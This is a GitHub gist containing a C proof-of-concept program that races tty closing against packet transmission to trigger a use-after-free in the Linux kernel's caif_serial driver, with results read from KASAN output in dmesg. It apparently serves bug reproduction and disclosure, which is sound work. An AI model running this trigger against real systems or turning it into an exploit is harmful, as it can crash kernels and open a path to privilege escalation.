Created
February 4, 2026 04:04
-
-
Save mrpre/f683f244544f7b11e7fa87df9e6c2eeb to your computer and use it in GitHub Desktop.
Trigger caif_serial UAF bug
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * caif_uaf_trigger.c - Trigger caif_serial UAF bug | |
| * | |
| * This program opens a tty, sets N_CAIF line discipline, | |
| * then sends packets to the caif device while closing the tty | |
| * to trigger the use-after-free bug. | |
| * | |
| * Compile: gcc -o caif_uaf_trigger caif_uaf_trigger.c -lpthread | |
| * Run as root: ./caif_uaf_trigger | |
| */ | |
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <fcntl.h> | |
| #include <errno.h> | |
| #include <pthread.h> | |
| #include <signal.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/socket.h> | |
| #include <sys/types.h> | |
| #include <sys/wait.h> | |
| #include <linux/if_packet.h> | |
| #include <linux/if_ether.h> | |
| #include <linux/sockios.h> | |
| #include <net/if.h> | |
| #include <netinet/in.h> | |
| #include <netinet/udp.h> | |
| #include <netinet/ip.h> | |
| #include <arpa/inet.h> | |
| #define N_CAIF 20 | |
| #define TIOCSETD 0x5423 | |
| #define TTY_DEVICE "/dev/ttyS3" | |
| #define CAIF_DEV_NAME "cfttyS3" | |
| static volatile int stop_flag = 0; | |
| /* Bring up the caif interface and add IP address */ | |
| static int setup_caif_interface(const char *devname) | |
| { | |
| char cmd[256]; | |
| /* Bring up interface */ | |
| snprintf(cmd, sizeof(cmd), "ip link set %s up 2>/dev/null", devname); | |
| system(cmd); | |
| /* Add IP address */ | |
| snprintf(cmd, sizeof(cmd), "ip addr add 10.99.99.1/24 dev %s 2>/dev/null", devname); | |
| system(cmd); | |
| return 0; | |
| } | |
| /* Try to send packets via raw packet socket */ | |
| static void send_raw_packets(const char *devname) | |
| { | |
| int sock; | |
| struct sockaddr_ll sll; | |
| char packet[128]; | |
| int ifindex; | |
| int i; | |
| sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); | |
| if (sock < 0) | |
| return; | |
| ifindex = if_nametoindex(devname); | |
| if (ifindex == 0) { | |
| close(sock); | |
| return; | |
| } | |
| memset(&sll, 0, sizeof(sll)); | |
| sll.sll_family = AF_PACKET; | |
| sll.sll_ifindex = ifindex; | |
| sll.sll_protocol = htons(ETH_P_IP); | |
| memset(packet, 'A', sizeof(packet)); | |
| for (i = 0; i < 100 && !stop_flag; i++) { | |
| sendto(sock, packet, sizeof(packet), MSG_DONTWAIT, | |
| (struct sockaddr *)&sll, sizeof(sll)); | |
| } | |
| close(sock); | |
| } | |
| /* Try to send packets via UDP socket bound to interface */ | |
| static void send_udp_packets(const char *devname) | |
| { | |
| int sock; | |
| struct sockaddr_in dst; | |
| struct ifreq ifr; | |
| char packet[64] = "CAIF_UAF_TEST"; | |
| int i; | |
| sock = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (sock < 0) | |
| return; | |
| /* Bind to interface */ | |
| memset(&ifr, 0, sizeof(ifr)); | |
| strncpy(ifr.ifr_name, devname, IFNAMSIZ - 1); | |
| setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)); | |
| memset(&dst, 0, sizeof(dst)); | |
| dst.sin_family = AF_INET; | |
| dst.sin_port = htons(12345); | |
| dst.sin_addr.s_addr = inet_addr("10.99.99.2"); | |
| for (i = 0; i < 100 && !stop_flag; i++) { | |
| sendto(sock, packet, sizeof(packet), MSG_DONTWAIT, | |
| (struct sockaddr *)&dst, sizeof(dst)); | |
| } | |
| close(sock); | |
| } | |
| /* Try to trigger xmit via ioctl */ | |
| static void trigger_via_ioctl(const char *devname) | |
| { | |
| int sock; | |
| struct ifreq ifr; | |
| sock = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (sock < 0) | |
| return; | |
| memset(&ifr, 0, sizeof(ifr)); | |
| strncpy(ifr.ifr_name, devname, IFNAMSIZ - 1); | |
| /* Try various ioctls that might trigger xmit */ | |
| ioctl(sock, SIOCGIFFLAGS, &ifr); | |
| ifr.ifr_flags |= IFF_UP | IFF_RUNNING; | |
| ioctl(sock, SIOCSIFFLAGS, &ifr); | |
| ioctl(sock, SIOCGIFTXQLEN, &ifr); | |
| ioctl(sock, SIOCGIFMTU, &ifr); | |
| close(sock); | |
| } | |
| /* Packet sender process - runs in a loop trying to send packets */ | |
| static void packet_sender_process(void) | |
| { | |
| while (!stop_flag) { | |
| int ifindex = if_nametoindex(CAIF_DEV_NAME); | |
| if (ifindex > 0) { | |
| /* Device exists, try to send packets */ | |
| setup_caif_interface(CAIF_DEV_NAME); | |
| send_raw_packets(CAIF_DEV_NAME); | |
| send_udp_packets(CAIF_DEV_NAME); | |
| trigger_via_ioctl(CAIF_DEV_NAME); | |
| } | |
| usleep(1000); | |
| } | |
| } | |
| /* TTY open/close process */ | |
| static void tty_process(void) | |
| { | |
| int fd; | |
| int ldisc = N_CAIF; | |
| int iter = 0; | |
| while (!stop_flag) { | |
| iter++; | |
| fd = open(TTY_DEVICE, O_RDWR | O_NOCTTY | O_NONBLOCK); | |
| if (fd < 0) { | |
| usleep(10000); | |
| continue; | |
| } | |
| if (ioctl(fd, TIOCSETD, &ldisc) < 0) { | |
| close(fd); | |
| usleep(10000); | |
| continue; | |
| } | |
| printf("[%d] Created caif device, waiting briefly...\n", iter); | |
| /* Brief delay to let sender find the device */ | |
| usleep(100000); /* 100ms */ | |
| printf("[%d] Closing tty (race window starts)...\n", iter); | |
| /* | |
| * Close triggers ldisc_close() which has 500ms mdelay. | |
| * During this delay, tty is freed but netdev still exists. | |
| * If sender sends packet during this window -> UAF! | |
| */ | |
| close(fd); | |
| /* Wait for the 500ms delay + cleanup to finish */ | |
| usleep(700000); /* 700ms */ | |
| } | |
| } | |
| static void sighandler(int sig) | |
| { | |
| stop_flag = 1; | |
| } | |
| int main(int argc, char *argv[]) | |
| { | |
| pid_t sender_pid, tty_pid; | |
| int duration = 60; | |
| int status; | |
| if (argc > 1) | |
| duration = atoi(argv[1]); | |
| printf("=== CAIF UAF Trigger ===\n"); | |
| printf("Duration: %d seconds\n", duration); | |
| printf("TTY: %s -> CAIF dev: %s\n", TTY_DEVICE, CAIF_DEV_NAME); | |
| printf("Watch 'dmesg -w' for KASAN reports or CAIF_DEBUG messages\n\n"); | |
| signal(SIGINT, sighandler); | |
| signal(SIGTERM, sighandler); | |
| signal(SIGCHLD, SIG_IGN); | |
| /* Fork packet sender */ | |
| sender_pid = fork(); | |
| if (sender_pid == 0) { | |
| packet_sender_process(); | |
| exit(0); | |
| } | |
| /* Fork TTY opener/closer */ | |
| tty_pid = fork(); | |
| if (tty_pid == 0) { | |
| tty_process(); | |
| exit(0); | |
| } | |
| /* Main process waits */ | |
| printf("Running for %d seconds...\n", duration); | |
| sleep(duration); | |
| /* Cleanup */ | |
| printf("\nStopping...\n"); | |
| stop_flag = 1; | |
| kill(sender_pid, SIGTERM); | |
| kill(tty_pid, SIGTERM); | |
| waitpid(sender_pid, &status, 0); | |
| waitpid(tty_pid, &status, 0); | |
| printf("Done. Check dmesg for results.\n"); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment